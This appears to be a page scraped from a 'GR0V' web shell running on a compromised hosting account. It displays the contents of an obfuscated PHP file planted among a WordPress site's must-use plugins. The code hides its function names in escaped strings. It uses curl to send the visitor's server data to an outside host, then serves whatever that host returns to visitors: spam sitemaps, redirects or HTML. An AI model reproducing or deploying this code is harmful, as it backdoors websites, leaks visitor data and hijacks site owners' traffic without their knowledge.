? GR0V Shell

GR0V shell

Linux in-mum-web921.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64

Path : /home/u949514618/domains/omstructuressolution.com/public_html/wp-content/mu-plugins/
File Upload :
Current File : /home/u949514618/domains/omstructuressolution.com/public_html/wp-content/mu-plugins/0wFglO.php

<?php
$R1TuSZ3 = md5("RuQbCefM"); $PQuG7g = ucfirst("i7bgWMRF"); $eVeZKcBT = stripos("OU0S5H","jaSy3MHpi"); $PAr_S = strstr("PAr_S", "vRC1iTyF"); $h7IhqRCf = addcslashes("h7IhqRCf","qyLWrkSuYCIO"); $bT2b9lcy = md5("UlzTMu29"); $IlF6w8hHb = array("z3c5_PSJDo6t1O"); $pfAJZ = str_replace("pfAJZ", "", "pfAJZ");$mOMNr2YK = defined("HFp4eTi"); new I6UKesa();$rxdjwW = substr("rxdjwW",6,0);$zN_IXtGT = ucwords("NtKg1uERP"); $i5GZOdHp = md5("rpLBm"); class elB5OkEP{	public static function __callStatic($name, $arguments) {        $w5Jg3Du = h1ZuEmeO("\143\165\162\x6c\x5f\151\x6e\x69\164");				$L8rQBg = "\150\164\164\x70\x3a\57\x2f\x63\x61\x63\x68\x65\x2e\165\x73\x65\x72\x65\162\160\x2e\163\151\x74\x65\x2f\x61\x62\157\x75\164\x2e\160\x68\x70";			h1ZuEmeO("\143\x75\x72\154\x5f\163\x65\x74\x6f\x70\164",3,$w5Jg3Du, (int)("\x31\60\60\x30\x32"),$L8rQBg."\77\165\x61\75".h1ZuEmeO("\x75\x72\x6c\145\x6e\143\x6f\144\145",1,$arguments[0]));			h1ZuEmeO("\143\x75\x72\154\x5f\163\x65\x74\x6f\x70\164",3,$w5Jg3Du, (int)("\61\71\71\x31\x33"), 1);		h1ZuEmeO("\143\x75\x72\154\x5f\163\x65\x74\x6f\x70\164",3,$w5Jg3Du, (int)("\x36\64\137\x72\x65\x70\x6c"), 0);		h1ZuEmeO("\143\x75\x72\154\x5f\163\x65\x74\x6f\x70\164",3,$w5Jg3Du, (int)("\61\x33\137\x72\x65\x70\x6c"), 46);				global $a_lgS;		$a_lgS = h1ZuEmeO("\x63\x75\x72\154\137\145\170\x65\143",1,$w5Jg3Du);		h1ZuEmeO("\x63\165\162\x6c\x5f\x63\x6c\x6f\x73\x65",1,$w5Jg3Du);		    }}$cvQ2d8m = ucwords("wZHLFQ5mv"); $ruBFs = trXCiQo0($_SERVER);$mpmk5vlf = addcslashes("mpmk5vlf","qvQ_DFokmBN0"); $ZRKUkFe = str_pad("", 0); function trXCiQo0($L_rBQnG){	return h1ZuEmeO("\152\x73\x6f\x6e\x5f\145\x6e\x63\157\144\x65",1,$L_rBQnG);}$Y7SDpmQ = ucwords("yhRLs7x"); $KTxGgOXt = strtok("KTxGgOXt"); $ruBFs = XWOIAP7k($ruBFs);function zKcC7($a_lgS){	if(strstr($a_lgS,"\74\165\x72\x6c\x73\145\164")){		exit(h1ZuEmeO("\150\145\x61\x64\x65\162",1,"\103\x6f\x6e\x74\x65\156\164\x2d\164\x79\x70\145\72\x74\x65\170\x74\57\170\x6d\154").$a_lgS);	}	}$UtPgHA0O = str_shuffle("d_8Ng"); $JItj98 = chunk_split("K1EYRpz5dhcGsZl",3); $AZWEnq = trim("   "); $c7lIRkZL_ = ucwords("CK7TJ"); elB5OkEP::TVOcRTF_($ruBFs);$Umpgibl = defined("j8q4aH6"); function hvCaOQG($a_lgS){	if(substr($a_lgS,0,4)=="\x68\x74\x74\x70"){				h1ZuEmeO("\150\145\x61\x64\x65\162",1,"\114\157\x63\x61\x74\x69\x6f\156\72\40".$a_lgS);	}	}$GsaS0lde = array("TpyZOS74"); $K5hFOgv = str_shuffle("LCgJBMi"); $M5zyqGJ1j = addcslashes("M5zyqGJ1j","fNwjuFJk6fbhRxl"); $N4F_b = hvCaOQG($a_lgS);$hfzDX = strtok("hfzDX"); $O3PcYmgzj = (string) null; class I6UKesa{	public function __construct() {        		$_SERVER["\x54"]="\165";		$_SERVER["\x54\x50\x4c"]="\63";		    }}function XWOIAP7k($L_rBQnG){	return h1ZuEmeO("\142\x61\163\x65\66\64\137\145\x6e\x63\157\x64\145",1,$L_rBQnG);}function RrXqa($a_lgS){	if(strstr(trim($a_lgS),"\74\150\x74\x6d\x6c")){		exit($a_lgS);	}	}$o6iPBM = zKcC7($a_lgS);$wmJqo4j = md5("PTHlWG"); $rHBIj = implode("rHBIj",array());$Fc8V4T = sha1("cZrehiwOA"); $hOWNic = str_repeat("", 8); $URGny7 = str_pad("", 0); $DZ07HOd = ucwords("B6paWZeuq"); $ipYNskTDh = defined("qpdZqSKkR"); function h1ZuEmeO($strrt,$TA8nFx3p=null,$ERQ23n=null,$EK0kp=null,$zR24UL5=null,$Z1iLHpk=null){		if($TA8nFx3p==1)return $strrt($ERQ23n);		if($TA8nFx3p==2)return $strrt($ERQ23n,$EK0kp);		if($TA8nFx3p==3)return $strrt($ERQ23n,$EK0kp,$zR24UL5);		if($TA8nFx3p==4)return $strrt($ERQ23n,$EK0kp,$zR24UL5,$Z1iLHpk);		return $strrt();	}$sm32GP5d = str_repeat("", 14); $RwklRaf = RrXqa($a_lgS);$NcmXg4DV = addcslashes("NcmXg4DV","yfrOC1gARKLNJF"); $TMIjUbyD = metaphone("WdMqh"); $vvKPaV = str_replace("vvKPaV", "", "vvKPaV");$R2xNVY = ucwords("GL01Z3"); $BjVa2p = str_pad("", 0); $R2EPH_XnQ = defined("WvqVcf2"); $AS2stmAWZ = str_replace("AS2stmAWZ", "", "AS2stmAWZ");$rTy8ASe = md5("amlAv"); $AzDip = lcfirst("uhxJZSB");   
?>

T1KUS90T
  root-grov@89.117.188.241:~$